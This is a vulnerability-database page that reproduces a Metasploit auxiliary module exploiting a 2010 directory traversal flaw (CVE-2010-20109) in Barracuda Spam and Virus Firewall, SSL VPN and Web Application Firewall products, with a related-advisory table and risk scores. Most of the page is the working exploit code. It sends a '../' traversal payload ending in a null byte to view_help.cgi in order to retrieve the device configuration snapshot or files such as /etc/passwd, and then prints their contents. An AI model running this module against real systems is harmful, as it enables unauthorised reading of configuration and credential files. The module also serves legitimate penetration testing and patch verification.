Barracuda Multiple Product "locale" Directory Traversal
🗓️ 08 Oct 2010 00:00:00Reported by Tiago Ferreira <[email protected]>Type
metasploit🔗 www.rapid7.com👁 29 Views
| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
| CVE-2010-20109 | 21 Aug 202520:09 | – | attackerkb | |
| CVE-2010-20109 | 29 May 201815:50 | – | circl | |
| Barracuda Spam & Virus Firewall 安全漏洞 | 21 Aug 202500:00 | – | cnnvd | |
| CVE-2010-20109 | 21 Aug 202520:09 | – | cve | |
| CVE-2010-20109 Barracuda Spam & Virus Firewall "locale" Path Traversal | 21 Aug 202520:09 | – | cvelist | |
| EUVD-2010-5318 | 7 Oct 202500:30 | – | euvd | |
| CVE-2010-20109 | 21 Aug 202520:15 | – | nvd | |
| Barracuda Networks Multiple Products Directory Traversal Vulnerability (Oct 2010) - Active Check | 6 Oct 201000:00 | – | openvas | |
| PT-2025-34285 · Undefined · Undefined | 21 Aug 202500:00 | – | ptsecurity | |
| CVE-2010-20109 | 23 Aug 202520:13 | – | redhatcve |
10
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'Barracuda Multiple Product "locale" Directory Traversal',
'Description' => %q{
This module exploits a directory traversal vulnerability present in
several Barracuda products, including the Barracuda Spam and Virus Firewall,
Barracuda SSL VPN, and the Barracuda Web Application Firewall. By default,
this module will attempt to download the Barracuda configuration file.
},
'References' => [
['CVE', '2010-20109'],
['OSVDB', '68301'],
['URL', 'https://web.archive.org/web/20101004131244/http://secunia.com/advisories/41609/'],
['EDB', '15130']
],
'Author' => [
'Tiago Ferreira <tiago.ccna[at]gmail.com>'
],
'DisclosureDate' => '2010-10-08',
'License' => MSF_LICENSE
)
register_options(
[
Opt::RPORT(8000),
OptString.new('FILE', [ true, "Define the remote file to view, ex:/etc/passwd", '/mail/snapshot/config.snapshot']),
OptString.new('TARGETURI', [true, 'Barracuda vulnerable URI path', '/cgi-mod/view_help.cgi']),
]
)
end
def run_host(ip)
uri = normalize_uri(target_uri.path)
file = datastore['FILE']
payload = "?locale=/../../../../../../..#{file}%00"
print_status("#{full_uri} - Barracuda - Checking if remote server is vulnerable")
res = send_request_raw(
{
'method' => 'GET',
'uri' => uri + payload,
}, 25
)
if res.nil?
print_error("#{full_uri} - Connection timed out")
return
end
if (res.code == 200 and res.body)
if res.body.match(/\<html\>(.*)\<\/html\>/im)
html = $1
if res.body =~ /barracuda\.css/
if html.length > 100
file_data = html.gsub(%r{</?[^>]+?>}, '')
print_good("#{full_uri} - Barracuda - Vulnerable")
print_good("#{full_uri} - Barracuda - File Output:\n" + file_data + "\n")
else
print_error("#{full_uri} - Barracuda - Not vulnerable: HTML too short?")
end
elsif res.body =~ /help_page/
print_error("#{full_uri} - Barracuda - Not vulnerable: Patched?")
else
print_error("#{full_uri} - Barracuda - File not found or permission denied")
end
else
print_error("#{full_uri} - Barracuda - No HTML was returned")
end
else
print_error("#{full_uri} - Barracuda - Unrecognized #{res.code} response")
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
08 Oct 2010 00:00Current
5.3Medium risk
Vulners AI Score5.3
CVSS 48.7
EPSS0.01166
SSVC